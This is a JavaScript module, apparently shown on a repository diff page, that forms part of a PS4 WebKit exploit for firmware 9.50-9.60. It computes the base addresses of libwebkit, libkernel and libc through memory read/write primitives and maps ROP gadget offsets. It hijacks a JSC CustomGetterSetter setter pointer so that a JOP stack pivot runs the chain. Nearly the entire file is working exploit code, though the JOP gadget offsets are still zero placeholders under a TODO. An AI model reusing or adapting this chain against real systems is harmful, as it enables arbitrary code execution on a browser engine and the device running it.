|
||||
import { ChainBase, get_gadget } from '../../module/chain.mjs';
|
||||
import { BufferView } from '../../module/rw.mjs';
|
||||
|
||||
import {
|
||||
get_view_vector,
|
||||
resolve_import,
|
||||
init_syscall_array,
|
||||
} from '../../module/memtools.mjs';
|
||||
|
||||
import * as off from '../../module/offset.mjs';
|
||||
|
||||
// WebKit offsets of imported functions
|
||||
const offset_wk_stack_chk_fail = 0x178;
|
||||
const offset_wk_strlen = 0x198;
|
||||
|
||||
// libSceNKWebKit.sprx
|
||||
export let libwebkit_base = null;
|
||||
// libkernel_web.sprx
|
||||
export let libkernel_base = null;
|
||||
// libSceLibcInternal.sprx
|
||||
export let libc_base = null;
|
||||
|
||||
// TODO: gadgets for the JOP chain
|
||||
//
|
||||
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
|
||||
// type is PutPropertySlot::PutValueFunc
|
||||
const jop1 = `
|
||||
mov rdi, qword ptr [rsi + 8]
|
||||
mov rax, qword ptr [rdi]
|
||||
jmp qword ptr [rax + 0x70]
|
||||
`;
|
||||
// rbp is now pushed, any extra objects pushed by the call instructions can be
|
||||
// ignored
|
||||
const jop2 = `
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
mov rax, qword ptr [rdi]
|
||||
call qword ptr [rax + 0x30]
|
||||
`;
|
||||
const jop3 = `
|
||||
mov rdx, qword ptr [rdx + 0x50]
|
||||
mov ecx, 0xa
|
||||
call qword ptr [rax + 0x40]
|
||||
`;
|
||||
const jop4 = `
|
||||
push rdx
|
||||
mov edi, 0xac9784fe
|
||||
jmp qword ptr [rax]
|
||||
`;
|
||||
const jop5 = 'pop rsp; ret';
|
||||
|
||||
// the ps4 firmware is compiled to use rbp as a frame pointer
|
||||
//
|
||||
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
|
||||
// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
|
||||
// restore rbp (if needed) before the epilogue.
|
||||
//
|
||||
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
|
||||
// pushed earlier before the pivot, thus restoring the old rbp).
|
||||
//
|
||||
// leave instruction equivalent:
|
||||
// mov rsp, rbp
|
||||
// pop rbp
|
||||
|
||||
const webkit_gadget_offsets = new Map(Object.entries({
|
||||
'pop rax; ret' : 0x0000000000011c46, // `58 c3`
|
||||
'pop rbx; ret' : 0x0000000000013730, // `5b c3`
|
||||
'pop rcx; ret' : 0x0000000000035a1e, // `59 c3`
|
||||
'pop rdx; ret' : 0x000000000018de52, // `5a c3`
|
||||
|
||||
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
|
||||
'pop rsi; ret' : 0x0000000000092a8c, // `5e c3`
|
||||
'pop rdi; ret' : 0x000000000005d19d, // `5f c3`
|
||||
'pop rsp; ret' : 0x00000000000253e0, // `5c c3`
|
||||
|
||||
'pop r8; ret' : 0x000000000003fe32, // `47 58 c3`
|
||||
'pop r9; ret' : 0x0000000000aaad51, // `47 59 c3`
|
||||
// Not found in 9.50-9.60, but not currently used in exploit
|
||||
// 'pop r10; ret' : 0x0000000000000000, // `4(1,3,5,7,9,b,d,f) 5a c3`
|
||||
'pop r11; ret' : 0x0000000001833a21, // `47 5b c3`
|
||||
|
||||
'pop r12; ret' : 0x0000000000420ad1, // `47 5c c3`
|
||||
'pop r13; ret' : 0x00000000018fc4c1, // `47 5d c3`
|
||||
'pop r14; ret' : 0x000000000028c900, // `41 5e c3`
|
||||
'pop r15; ret' : 0x0000000001437c8a, // `47 5f c3`
|
||||
|
||||
'ret' : 0x0000000000000032, // `c3`
|
||||
'leave; ret' : 0x0000000000056322, // `c9 c3`
|
||||
|
||||
'mov rax, qword ptr [rax]; ret' : 0x000000000000c671, // `48 8b 00 c3`
|
||||
'mov qword ptr [rdi], rax; ret' : 0x0000000000010c07, // `48 89 07 c3`
|
||||
'mov dword ptr [rdi], eax; ret' : 0x00000000000071d0, // `89 07 c3`
|
||||
'mov dword ptr [rax], esi; ret' : 0x000000000007ebd8, // `89 30 c3`
|
||||
|
||||
[jop1] : 0x0000000000000000, // ``
|
||||
[jop2] : 0x0000000000000000, // ``
|
||||
[jop3] : 0x0000000000000000, // ``
|
||||
[jop4] : 0x0000000000000000, // ``
|
||||
[jop5] : 0x0000000000000000, // ``
|
||||
}));
|
||||
|
||||
const libc_gadget_offsets = new Map(Object.entries({
|
||||
'getcontext' : 0x21284,
|
||||
'setcontext' : 0x254dc,
|
||||
}));
|
||||
|
||||
const libkernel_gadget_offsets = new Map(Object.entries({
|
||||
// returns the location of errno
|
||||
'__error' : 0xbb60,
|
||||
}));
|
||||
|
||||
export const gadgets = new Map();
|
||||
|
||||
function get_bases() {
|
||||
const textarea = document.createElement('textarea');
|
||||
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
|
||||
const textarea_vtable = webcore_textarea.readp(0);
|
||||
const off_ta_vt = 0x2ebea68;
|
||||
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
|
||||
|
||||
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
|
||||
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
|
||||
const off_scf = 0x28870;
|
||||
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
|
||||
|
||||
const strlen_import = libwebkit_base.add(offset_wk_strlen);
|
||||
const strlen_addr = resolve_import(strlen_import);
|
||||
const off_strlen = 0x4c040;
|
||||
const libc_base = strlen_addr.sub(off_strlen);
|
||||
|
||||
return [
|
||||
libwebkit_base,
|
||||
libkernel_base,
|
||||
libc_base,
|
||||
];
|
||||
}
|
||||
|
||||
export function init_gadget_map(gadget_map, offset_map, base_addr) {
|
||||
for (const [insn, offset] of offset_map) {
|
||||
gadget_map.set(insn, base_addr.add(offset));
|
||||
}
|
||||
}
|
||||
|
||||
class Chain950Base extends ChainBase {
|
||||
push_end() {
|
||||
this.push_gadget('leave; ret');
|
||||
}
|
||||
|
||||
push_get_retval() {
|
||||
this.push_gadget('pop rdi; ret');
|
||||
this.push_value(this.retval_addr);
|
||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
||||
}
|
||||
|
||||
push_get_errno() {
|
||||
this.push_gadget('pop rdi; ret');
|
||||
this.push_value(this.errno_addr);
|
||||
|
||||
this.push_call(this.get_gadget('__error'));
|
||||
|
||||
this.push_gadget('mov rax, qword ptr [rax]; ret');
|
||||
this.push_gadget('mov dword ptr [rdi], eax; ret');
|
||||
}
|
||||
|
||||
push_clear_errno() {
|
||||
this.push_call(this.get_gadget('__error'));
|
||||
this.push_gadget('pop rsi; ret');
|
||||
this.push_value(0);
|
||||
this.push_gadget('mov dword ptr [rax], esi; ret');
|
||||
}
|
||||
}
|
||||
|
||||
export class Chain950 extends Chain950Base {
|
||||
constructor() {
|
||||
super();
|
||||
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
|
||||
rdx.write64(off.js_cell, this._empty_cell);
|
||||
rdx.write64(0x50, this.stack_addr);
|
||||
this._rsp = mem.fakeobj(rdx);
|
||||
}
|
||||
|
||||
run() {
|
||||
this.check_allow_run();
|
||||
this._rop.launch = this._rsp;
|
||||
this.dirty();
|
||||
}
|
||||
}
|
||||
|
||||
export const Chain = Chain950;
|
||||
|
||||
export function init(Chain) {
|
||||
const syscall_array = [];
|
||||
[libwebkit_base, libkernel_base, libc_base] = get_bases();
|
||||
|
||||
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
|
||||
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
|
||||
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
|
||||
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
|
||||
|
||||
let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
|
||||
// JSCustomGetterSetter.m_getterSetter
|
||||
gs = mem.addrof(gs).readp(0x28);
|
||||
|
||||
// sizeof JSC::CustomGetterSetter
|
||||
const size_cgs = 0x18;
|
||||
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
|
||||
mem.cpy(gc_buf, gs, size_cgs);
|
||||
// JSC::CustomGetterSetter.m_setter
|
||||
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
|
||||
|
||||
const proto = Chain.prototype;
|
||||
// _rop must have a descriptor initially in order for the structure to pass
|
||||
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
|
||||
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
|
||||
// checks for any descriptor to run
|
||||
//
|
||||
// the butterfly's indexing type must be something the GC won't inspect
|
||||
// like DoubleShape. it will be used to store the JOP table's pointer
|
||||
const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
|
||||
// replace .launch with the actual custom getter/setter
|
||||
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
|
||||
proto._rop = _rop;
|
||||
|
||||
// JOP table
|
||||
const rax_ptrs = new BufferView(0x100);
|
||||
const rax_ptrs_p = get_view_vector(rax_ptrs);
|
||||
proto._rax_ptrs = rax_ptrs;
|
||||
|
||||
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
|
||||
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
|
||||
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
|
||||
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
|
||||
|
||||
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
|
||||
jop_buffer_p.write64(0, rax_ptrs_p);
|
||||
|
||||
const empty = {};
|
||||
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
|
||||
|
||||
Chain.init_class(gadgets, syscall_array);
|
||||
}
|
||||
0
src/rop/ps5/.gitinclude
Normal file
0
src/rop/ps5/.gitinclude
Normal file
Reference in New Issue
Block a user